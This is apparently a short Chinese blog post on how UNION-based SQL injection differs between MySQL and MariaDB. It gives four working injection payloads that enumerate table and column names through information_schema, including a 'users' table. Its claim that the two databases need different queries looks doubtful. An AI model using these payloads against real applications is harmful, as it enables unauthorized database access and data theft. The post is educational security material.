Union联合注入在MySQL和MariaDB应用中的区别

本文介绍了如何在联合注入攻击中,通过构造SQL语句利用information_schema表获取不同数据库(MySQL和MariaDB)中的表名、列名。给出了针对特定数据库的示例,展示了攻击者如何利用这种差异获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在联合注入过程中,通过构造查询语句对information_schema表的查询,可以获得数据库的表名,列名等信息,但是在不同的数据库中,information_schema中列的名称有区别。假设注入点的列数为3,注入信息可为‘1’, 闭合方式是单引号,下面给出联合注入语句示例:

MySQL

1' union select 1,2,table_name from information_schema.tables where table_schema=database() #
1' union select 1,2,column_name from information_schema.columns where table_name='users' #

MariaDB

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值